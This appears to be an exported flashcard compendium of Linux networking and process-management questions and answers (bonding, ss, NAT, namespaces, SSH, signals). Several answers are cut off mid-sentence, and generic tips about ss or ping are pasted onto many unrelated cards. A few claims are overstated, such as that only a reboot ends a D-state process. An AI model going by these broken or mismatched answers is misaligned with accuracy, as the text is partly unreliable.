* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What does `mtr` do?]]
Network bonding combines multiple NICs into one logical interface for redundancy and/or performance. The kernel bond driver supports several modes:
* ''Mode 0 (balance-rr):'' Round-robin across all slaves; provides load balancing.
* ''Mode 1 (active-backup):'' Only one slave active at a time; others are standby for failover. Most common fault-tolerance choice.
* ''Mode 2 (balance-xor):'' XOR hash determines which slave handles each flow; provides load balancing.
* ''Mode 4 (802.3ad / LACP):'' IEEE 802.3ad Link Aggregation Control Protocol; requires switch support. Most common high-throughput choice.
* ''Mode 5 (balance-tlb):'' Adaptive transmit load balancing; no switch support required.
* ''Mode 6 (balance-alb):'' Adaptive load balancing; includes receive balancing via ARP negotiation.
Modes 1 and 4 are the most widely deployed: Mode 1 for simple redundancy, Mode 4 for switch-negotiated aggregation.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What is the most common bonding mode in production?]]
* [[What is a bonding vs teaming?]]
Q: How do you check per-process CPU, memory, and I/O usage on Linux?
A: <html><code>pidstat</code></html> from the sysstat package. Use <html><code>pidstat -u 1</code></html> for per-process CPU every second, <html><code>pidstat -r 1</code></html> for memory, <html><code>pidstat -d 1</code></html> for disk I/O. Combine flags: <html><code>pidstat -urd 1</code></html> for all three. Add <html><code>-p <PID></code></html> to monitor a specific process.
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[How would you recognize a process that is hogging resources?]]
* [[Find which process is listening on a port]]
* [[What are you using for troubleshooting and debugging process issues?]]
Q: How can you find how much memory a specific process consumes?
A: `
mem()
{
ps -eo rss,pid,euser,args:100 --sort %mem | grep -v grep | grep -i $@ | awk '{printf $1/1024 "MB"; $1=""; print }'
}
`
[[Source|https://stackoverflow.com/questions/3853655/in-linux-how-to-tell-how-much-memory-processes-are-using]]
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[How would you recognize a process that is hogging resources?]]
* [[Find high-memory processes by RSS, PSS, or /proc parsing]]
* [[Diagnosing memory leaks in long-running Linux processes]]
Q: What are you using for troubleshooting and debugging process issues?
A: <html><code>strace</code></html> is great for understanding what your program does. It prints every system call your program executed.
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[How do you check per-process CPU, memory, and I/O usage on Linux?]]
* [[Every couple of days, a certain process stops running. How can you look into why it's h…]]
* [[Find which process is listening on a port]]
Q: What is telnet and why is it a bad idea to use it in production? (or at all)
A: Telnet is a type of client-server protocol that can be used to open a command line on a remote computer, typically a server.
By default, all the data sent and received via telnet is transmitted in clear/plain text, therefore it should not be used as it does not encrypt any data between the client and the server.
Remember: Key tools: ip(config), ss(connections), dig(DNS), ping/traceroute(reach).
Gotcha: Check iptables and ss when debugging connectivity.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[Why SSH is considered better than telnet?]]
* [[Using a Linux system with a limited number of packages installed, and telnet is not ava…]]
Q: When you run 'ip a' you see there is a device called 'lo'. What is it?
A: 'lo' is the loopback interface - a virtual network interface.
Purpose:
* Internal communication within the host
* Testing network applications locally
* Inter-process communication via network stack
Characteristics:
* IP address: 127.0.0.1 (IPv4), ::1 (IPv6)
* Always up, always present
Remember: Key tools: ip(config), ss(connections), dig(DNS), ping/traceroute(reach).
Gotcha: Check iptables and ss when debugging connectivity.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What happens when you `ping ::1`?]]
* [[What are packet sniffers? Have you used one in the past? If yes, which packet sniffers …]]
Q: Every couple of days, a certain process stops running. How can you look into why it's happening?
A: One way to investigate why a process stops running is to check the system logs, such as the messages in /var/log/messages or journalctl. Additionally, checking the process's resource usage and system load may provide clues as to what caused the process to stop
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What are you using for troubleshooting and debugging process issues?]]
* [[How would you recognize a process that is hogging resources?]]
* [[What are the possible states of a process in Linux?]]
Q: How do you check TCP connection statistics on Linux?
A: <html><code>sar -n TCP,ETCP 1</code></html> from the sysstat package. TCP shows active/passive connections per second and segments in/out. ETCP shows retransmits, bad segments, and resets — useful for spotting packet loss or network congestion. The <html><code>1</code></html> samples every second. Install via <html><code>apt install sysstat</code></html> or <html><code>yum install sysstat</code></html>.
Remember: Key tools: ip(config), ss(connections), dig(DNS), ping/traceroute(reach).
Gotcha: Check iptables and ss when debugging connectivity.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[How to list active connections?]]
* [[Network problems manifest as dropped packets, retransmits, TIME_WAIT buildup]]
Q: How do you kill a process in D state?
A: A process in D state (also known as "uninterruptible sleep") cannot be killed using the "kill" command. The only way to terminate it is to reboot the system.
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What is the D (uninterruptible sleep) state, and why can't you kill processes in it?]]
* [[What is a quick way to check if a process is in uninterruptible sleep (D state) and why…]]
* [[What signal is used by default when you run 'kill *process id*'?]]
Q: How a user process performs a privileged operation, such as reading from the disk?
A: Using system calls
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[True or False? In user space, applications don't have full access to hardware resources]]
* [[Can you explain how network process/connection is established and how it's terminated?]]
* [[Explain in a few points the boot process of the Linux system.]]
Q: Difference between SNAT, DNAT, and masquerade?
A: They are NAT modes that rewrite source or destination addresses to enable routing across networks.
* SNAT: rewrites the source IP to a fixed public address, commonly for outbound traffic.
* Masquerade: a dynamic SNAT that uses the interface IP, ideal when the public IP can change.
* DNAT: rewrites the destination IP/port, commonly for inbound port forwarding to internal hosts.
* In netfilter, SNAT/masquerade happens in POSTROUTING; DNAT happens in PREROUTING.
Remember: Key tools: ip(config), ss(connections), dig(DNS), ping/traceroute(reach).
Gotcha: Check iptables and ss when debugging connectivity.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What is NAT?]]
A Linux bridge is a software Layer 2 switch implemented in the kernel. It connects multiple network segments by forwarding Ethernet frames based on MAC addresses, functioning as a virtual switch. Common uses include connecting virtual machines, containers, and veth pairs to physical or virtual networks.
Creating a bridge:
* <html><code>ip link add br0 type bridge</code></html>
* <html><code>ip link set br0 up</code></html>
Container networking: Docker creates a <html><code>docker0</code></html> bridge by default. Each container receives a veth (virtual Ethernet) pair — one end in the container's network namespace, the other attached to <html><code>docker0</code></html>. This enables container-to-container and container-to-host communication without additional physical hardware.
Key distinction: a Linux bridge operates at Layer 2 (data link), not Layer 3 (IP routing). It is MAC-address-aware but not IP-routing-aware.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[How do you create a virtual Ethernet pair (veth)?]]
Q: What is SSH? How to check if a Linux server is running SSH?
A: [[Wikipedia Definition|https://en.wikipedia.org/wiki/SSH_(Secure_Shell]]): "SSH or Secure Shell is a cryptographic network protocol for operating network services securely over an unsecured network."
[Hostinger.com Definition](https://www.hostinger.
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What does "SSH" stand for?]]
* [[Find which process is listening on a port]]
* [[What is the well-known port for SSH?]]
NFS (Network File System) is a distributed filesystem protocol that allows clients to access files over a network as if they were local. NFSv4 uses TCP port 2049 and supports Kerberos authentication.
Common use cases:
* Shared home directories
* Centralized storage
* Application data sharing
* Diskless workstations
Architecture: the server exports directories; clients mount them transparently.
Key diagnostic tools: <html><code>ip</code></html> / <html><code>ifconfig</code></html> (interface state), <html><code>ss</code></html> (connections), <html><code>dig</code></html> (DNS), <html><code>ping</code></html> / <html><code>traceroute</code></html> (reachability). When debugging connectivity issues, check <html><code>iptables</code></html> rules and active connections with <html><code>ss</code></html>.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
Q: How can we modify the network connection via <html><code>nmcli</code></html> command, to use <html><code>8.8.8.8</code></html> as a DNS server?
A: 1. Find the connection name:
<html><pre><code class="language-plaintext"> # nmcli con show
NAME UUID TYPE DEVICE
System ens5 8126c120-a964-e959-ff98-ac4973344505 ethernet ens5
System eth0 5fb06bd0-0bb0-7ffb-45f1-d6edd65f3e03 ethernet --
</code></pre></html>
Here the connection name is "System ens5". Let's say we want to modify settings for this connection.
Remember: DNS port 53. Records: A(IPv4), AAAA(IPv6), CNAME, MX, NS, TXT.
Example: <html><code>dig example.com A +short</code></html> or <html><code>nslookup example.com</code></html>.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What is the `nmcli` command?]]
Q: You run ssh 127.0.0.1 but it fails with "connection refused". What could be the problem?
A: 1. SSH server is not installed
# SSH server is not running
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[You try to ssh to a server and you get "Host key verification failed". What does it mean?]]
* [[You have configured an RSA key login but your server show `Server refused our key` as e…]]
Q: Why SSH is considered better than telnet?
A: Telnet also allows you to connect to a remote host but as opposed to SSH where the communication is encrypted, in telnet, the data is sent in clear text, so it isn't considered to be secure because anyone on the network can see what exactly is sent, including passwords.
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What is telnet and why is it a bad idea to use it in production? (or at all)]]
* [[What is the difference between SSH and SSL?]]
Q: True or False? In every PID (Process ID) namespace the first process assigned with the process id number 1
A: True. Inside the namespace it's PID 1 while to the parent namespace the PID is a different one.
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[True or False? In a child PID namespace all processes are aware of parent PID namespace…]]
* [[True or False? In user space, applications don't have full access to hardware resources]]
* [[True or False? With UTS namespaces, processes may appear to have different hostnames.]]
Q: How would you recognize a process that is hogging resources?
A: <html><code>top</code></html> works reasonably well, as long as you look at the right numbers.
* ''M'' Sorts by current resident memory usage
* ''T'' Sorts by total ( or cummulative) CPU usage
* ''P'' Sorts by current CPU usage (this is the default refresh)
* ''?'' Displays a usage summary for all top commands
This is very important information to obtain when problem solving why a computer process is running slowly and making decisions on what processes to kill/software to uninstall.
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[How do you check per-process CPU, memory, and I/O usage on Linux?]]
* [[How can you find how much memory a specific process consumes?]]
* [[How do you trace system calls?]]
Q: What is the routing table? How do you view it?
A: Routing table determines where network packets are sent.
Contents:
* Destination networks
* Gateway (next hop)
* Interface to use
* Metric (priority)
View commands:
* ip route (or ip r) - Modern
Remember: Key tools: ip(config), ss(connections), dig(DNS), ping/traceroute(reach).
Gotcha: Check iptables and ss when debugging connectivity.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What are the following commands used for: ip addr, ip route, ip link?]]
* [[What are packet sniffers? Have you used one in the past? If yes, which packet sniffers …]]
Q: You need to upgrade <html><code>ntpd</code></html> service at 200 servers. What is the best way to go about upgrading all of these to the latest?
A: By using ''Infrastructure as a Code'' approach, there are multiple good ways:
# ''Configuration Synchronization Change Management Model'':
There are Configuration Management Tools (Ansible, Chef, Puppet, Saltstack, ...), that can be used to automatically update <html><code>ntpd</code></html> service on all servers.
Remember: Key tools: ip(config), ss(connections), dig(DNS), ping/traceroute(reach).
Gotcha: Check iptables and ss when debugging connectivity.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What is NTP? What is it used for?]]
Q: What is the file /etc/resolv.conf used for? What does it contain?
A: /etc/resolv.conf configures DNS resolution.
Contents:
* nameserver: DNS server IPs (up to 3)
* search: Default domain search list
* domain: Local domain name
* options: Resolver options
Example:
nameserver 8.8.8.8
nameserver 8.8.4.4
search example.com internal.example.com
options timeout:2 attempts:3
Modern management:
* systemd-resolved: /etc/resolv.conf is symlink
Remember: Key tools: ip(config), ss(connections), dig(DNS), ping/traceroute(reach).
Gotcha: Check iptables and ss when debugging connectivity.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What does `resolvectl status` show?]]
* [[resolv.conf configures which resolvers to use and how to search domains]]
Q: How to trigger neighbor discovery in IPv6?
A: <html><code>ping6 ff02::1</code></html> sends a multicast ping to all link-local nodes, triggering IPv6 Neighbor Discovery (NDP). This populates the neighbor cache, similar to ARP in IPv4. View discovered neighbors with <html><code>ip -6 neigh show</code></html>.
Gotcha: you must specify the interface for link-local addresses: <html><code>ping6 ff02::1%eth0</code></html>.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What is a link-local address in IPv6?]]
* [[What Linux kernel parameter enables IPv6?]]
* [[What happens when you `ping ::1`?]]
Q: What is a virtual IP? In what situation would you use one?
A: A Virtual IP (VIP) is an IP address not tied to a specific physical interface.
Use cases:
# High availability
** Failover between servers
** Keepalived, Pacemaker manage VIP
** Clients connect to VIP, failover is transparent
# Load balancing
** Single entry point
** LB distributes to multiple backends
# Service migration
Remember: Key tools: ip(config), ss(connections), dig(DNS), ping/traceroute(reach).
Gotcha: Check iptables and ss when debugging connectivity.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[When you run 'ip a' you see there is a device called 'lo'. What is it?]]
Q: What signal is used by default when you run 'kill //process id//'?
A: The default signal is SIGTERM (15). This signal kills
process gracefully which means it allows it to save current
state configuration.
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What signal number is SIGTERM?]]
* [[What happens when you press ctrl + c?]]
* [[What signal does the `kill` command send by default, and how does it differ from SIGKILL?]]
Q: How to run a process in the background and why to do that in the first place?
A: You can achieve that by specifying & at the end of the command.
As to why, since some commands/processes can take a lot of time to finish
execution or run forever, you may want to run them in the background instead of waiting for them to finish before gaining control again in current session.
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What happens when you press ctrl + c?]]
* [[True or False? The wait() system call won't return until the child process has run and …]]
* [[Can you explain how network process/connection is established and how it's terminated?]]
Q: How do you find which process is listening on a specific port?
A: Two tools:
* <html><code>ss -tlnp</code></html> — preferred; uses kernel netlink directly. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, with process info.
* <html><code>lsof -i :<port></code></html> — alternative; e.g., <html><code>lsof -i :8080</code></html> shows which process has that port open.
<html><code>ss</code></html> replaces the older <html><code>netstat</code></html>.
Examples:
* <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80
* <html><code>lsof -i :8080</code></html> — same query via lsof
Use <html><code>ss</code></html> by default for speed and modern kernel support; use <html><code>lsof</code></html> when you need richer file-descriptor context or when <html><code>ss</code></html> is unavailable.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[lsof -i shows open network connections at process level]]
* [[Check which ports are open or listening on Linux]]
Q: What are the main reasons for keeping old log files?
A: They are essential to investigate issues on the system. ''Log management'' is absolutely critical for IT security.
Servers, firewalls, and other IT equipment keep log files that record important events and transactions. This information can provide important clues about hostile activity affecting your network from within and without.
Remember: ping = ICMP Echo. No reply ≠ host down — firewalls block ICMP.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[Audit logs must be shipped off-host to remain trustworthy]]
Q: How the kernel notifies the parent process about child process termination?
A: The kernel notifies the parent by sending the SIGCHLD to the parent.
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What signal is used by default when you run 'kill *process id*'?]]
* [[Can you explain how network process/connection is established and how it's terminated?]]
* [[True or False? The wait() system call won't return until the child process has run and …]]
To kill a process that is writing to or locking a known file path, two methods are available.
''Method 1 — <html><code>fuser</code></html> (direct):''
<html><pre><code class="language-bash">fuser -k <FILE_PATH></code></pre></html>
<html><code>fuser -k</code></html> looks up all processes using the file and sends SIGKILL to each. Concise when you want a one-shot termination.
''Method 2 — <html><code>lsof</code></html> + <html><code>kill</code></html> (two-step):''
<html><pre><code class="language-bash">lsof <FILE_PATH> # shows PID(s) with the file open
kill <PID> # terminate the identified process</code></pre></html>
Useful when you want to inspect the process before killing it (check command name, user, file descriptor type).
''Port/socket lookup (related):'' <html><code>ss</code></html> replaces <html><code>netstat</code></html> for socket inspection.
<html><pre><code class="language-bash">ss -tulnp # TCP+UDP listening sockets, numeric, with process
ss -tulnp | grep :80 # find what listens on port 80</code></pre></html>
<html><code>-t</code></html> TCP, <html><code>-u</code></html> UDP, <html><code>-l</code></html> listening, <html><code>-n</code></html> numeric, <html><code>-p</code></html> process name/PID.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[How do you kill a process in D state?]]
* [[You must run command that will be performed for a very long time. How to prevent killin…]]
* [[Present and explain the good ways of using the `kill` command.]]
Q: What is the advantage of synchronizing UID/GID across multiple systems?
A: There are several principle reasons why you want to co-ordinate the ''user/UID'' and ''group/GID'' management across your network.
The first is relatively obvious - it has to do with user and administrative convenience.
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[How a user process performs a privileged operation, such as reading from the disk?]]
* [[ss is 10× faster than netstat on busy servers]]
* [[True or False? In every PID (Process ID) namespace the first process assigned with the …]]
Q: True or False? The MAC address of an interface is assigned/set by the OS
A: False. The MAC address is burned into the network interface hardware (NIC) by the manufacturer. The OS can override it (MAC spoofing), but the default address comes from hardware.
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[True or False? In user space, applications don't have full access to hardware resources]]
* [[True or False? In every PID (Process ID) namespace the first process assigned with the …]]
Q: You try to ssh to a server and you get "Host key verification failed". What does it mean?
A: It means that the key of the remote host was changed and doesn't match the one that stored on the machine (in ~/.ssh/known_hosts).
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What is SSH? How to check if a Linux server is running SSH?]]
* [[What is stored in ~/.ssh/known_hosts?]]
Q: What happens when socket system call is used?
A: This is a good article about the topic: https://ops.tips/blog/how-linux-creates-sockets
Remember: Key tools: ip(config), ss(connections), dig(DNS), ping/traceroute(reach).
Gotcha: Check iptables and ss when debugging connectivity.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What is a socket in Linux?]]
* [[Can you explain how network process/connection is established and how it's terminated?]]
* [[Explain in a few points the boot process of the Linux system.]]
Q: Can you have more than one default gateway in a given system?
A: Technically yes, a system can have multiple default gateways with different metrics (priorities). The kernel uses the route with the lowest metric. View with <html><code>ip route show default</code></html>.
Gotcha: multiple default gateways without proper metrics cause unpredictable routing — use policy-based routing (<html><code>ip rule</code></html>) for multi-homed hosts that need controlled path selection.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What does `ip route add default via 10.0.0.1` do?]]
* [[True or False? By default, when creating two separate network namespaces, a ping from o…]]
Q: How to link two separate network namespaces so you can ping an interface on one ns from the other?
A: Use veth (virtual ethernet) pairs - they act like a cable connecting namespaces.
Steps:
# Create namespaces:
ip netns add ns1
ip netns add ns2
# Create veth pair:
ip link add veth1 type veth peer name veth2
# Move each end to a namespace:
ip link set veth1 netns ns1
ip link set veth2 netns ns2
# Configure IPs:
ip netns exec ns1 ip addr add 10.0.0.
Remember: ping = ICMP Echo. No reply ≠ host down — firewalls block ICMP.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[True or False? By default, when creating two separate network namespaces, a ping from o…]]
* [[How do you create a virtual Ethernet pair (veth)?]]
* [[What is a network namespace? What is it used for?]]
Q: What ssh-keygen is used for?
A: <html><code>ssh-keygen</code></html> is a tool to generate an authentication key pair for SSH, that consists of a private and a public key. It supports a number of algorithms to generate authentication keys :
* dsa
* ecdsa
* ecdsa-sk
* ed25519
* ed25519-sk
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What is SSH? How to check if a Linux server is running SSH?]]
* [[What is stored in ~/.ssh/known_hosts?]]
Q: Explain in a few points the boot process of the Linux system.
A: ''BIOS'': Full form of BIOS is Basic Input or Output System that performs integrity checks and it will search and load and then it will execute the bootloader.
''Bootloader'': Since the earlier phases are not specific to the operating system, the BIOS-based boot process for x86 and x86-64 architectures is considered to start when the master boot record (MBR) code is executed in real mode and th
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[Linux boot proceeds through six sequential stages, each handing off to the next]]
* [[Walk through the Linux Boot Process (High Level).]]
* [[How a user process performs a privileged operation, such as reading from the disk?]]
Q: What are the following commands used for: ip addr, ip route, ip link?
A: These are iproute2 commands for network configuration:
ip addr (ip a):
* Shows/configures IP addresses
* ip addr show - List all addresses
* ip addr add 192.168.1.10/24 dev eth0 - Add IP
* ip addr del 192.168.1.10/24 dev eth0 - Remove IP
ip route (ip r):
* Shows/configures routing table
Remember: ip replaces ifconfig. addr(IPs), route(routing), link(interfaces), neigh(ARP).
Example: <html><code>ip addr add 10.0.0.5/24 dev eth0</code></html>. <html><code>ip route add default via 10.0.0.1</code></html>.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What command shows the routing table?]]
* [[What replaces `ifconfig` in the ip command suite?]]
* [[What is the routing table? How do you view it?]]
Q: How to list active connections?
A: Several commands show network connections:
# ss (modern, preferred):
** ss -tuln - Listening TCP/UDP ports
** ss -tunap - All connections with processes
** ss -s - Statistics summary
# netstat (legacy):
** netstat -tuln - Listening ports
** netstat -tunap - All with processes
# lsof:
Remember: Key tools: ip(config), ss(connections), dig(DNS), ping/traceroute(reach).
Gotcha: Check iptables and ss when debugging connectivity.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[Find which process is listening on a port]]
* [[How do you check TCP connection statistics on Linux?]]
Q: What are the possible states of a process in Linux?
A: Running (R)
Uninterruptible Sleep (D) - The process is waiting for I/O
Interruptible Sleep (S)
Stopped (T)
Dead (x)
Zombie (z)
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What is a quick way to check if a process is in uninterruptible sleep (D state) and why…]]
* [[How do you check per-process CPU, memory, and I/O usage on Linux?]]
* [[True or False? The wait() system call won't return until the child process has run and …]]
Q: How can you turn your Linux server into a router?
A: Enable IP forwarding and configure routing:
# Enable IP forwarding:
** echo 1 > /proc/sys/net/ipv4/ip_forward (temporary)
** Edit /etc/sysctl.conf: net.ipv4.ip_forward = 1 (permanent)
** sysctl -p to apply
# Configure interfaces:
** Each network on different interface
** Assign appropriate IP addresses
# NAT (if needed for internet access):
Remember: Key tools: ip(config), ss(connections), dig(DNS), ping/traceroute(reach).
Gotcha: Check iptables and ss when debugging connectivity.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[You would like to enable IPv4 forwarding in the kernel, how would you do it?]]
* [[Tell me about your Linux experience.]]
Q: Is it safe to attach the <html><code>strace</code></html> to a running process on the production? What are the consequences?
A: <html><code>strace</code></html> is the system call tracer for Linux. It currently uses the arcane <html><code>ptrace()</code></html> (process trace) debugging interface, which operates in a violent manner: ''pausing the target process'' for each syscall so that the debugger can read state. And doing this twice: when the syscall begins, and when it ends.
Remember: ss replaces netstat. <html><code>ss -tulnp</code></html> = TCP+UDP listening, numeric, process.
Example: <html><code>ss -tulnp | grep :80</code></html> — find what listens on port 80.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
''Related atoms''
* [[What is `strace` command and how should be used? Explain example of connect to an alrea…]]
* [[What does `strace` do?]]
* [[Using system call tracing to debug when application logs are unhelpful]]
Q: How do you check which ports are open or in use on a Linux server?
A: Several tools work:
<html><pre><code class="language-plaintext">ss -l # listening sockets (preferred modern tool)
ss -tulapn # listening TCP+UDP with PID and numeric output
netstat -tnlp # listening TCP (legacy)
netstat -atn # all TCP connections
netstat -aun # all UDP connections
netstat -tulapn # all TCP+UDP with PID
lsof -i -n -P # all open network files, numeric host/port
lsof -i # all open network files</code></pre></html>
To filter for a specific port, pipe to grep:
<html><pre><code class="language-plaintext">netstat -tnlp | grep <port_number>
lsof -i -n -P | grep <port_number></code></pre></html>
Well-known port reference: 22=SSH, 53=DNS, 80=HTTP, 443=HTTPS, 3306=MySQL, 5432=PostgreSQL.
Key tools: <html><code>ip</code></html>/<html><code>ifconfig</code></html> (interfaces), <html><code>ss</code></html> (connections/sockets), <html><code>dig</code></html> (DNS), <html><code>ping</code></html>/<html><code>traceroute</code></html> (reachability).
Gotcha: When debugging connectivity, also inspect <html><code>iptables</code></html> rules — a port may be listening but blocked by firewall policy.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-networking.tsv</code></html>
* <html><code>training/interactive/knowledge/data/cards/networking.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Find which process is listening on a port]]
* [[What can you find in /etc/services?]]
* [[Use /proc/net/tcp and ss to see a process's active network connections]]
Q: How to list all the interfaces?
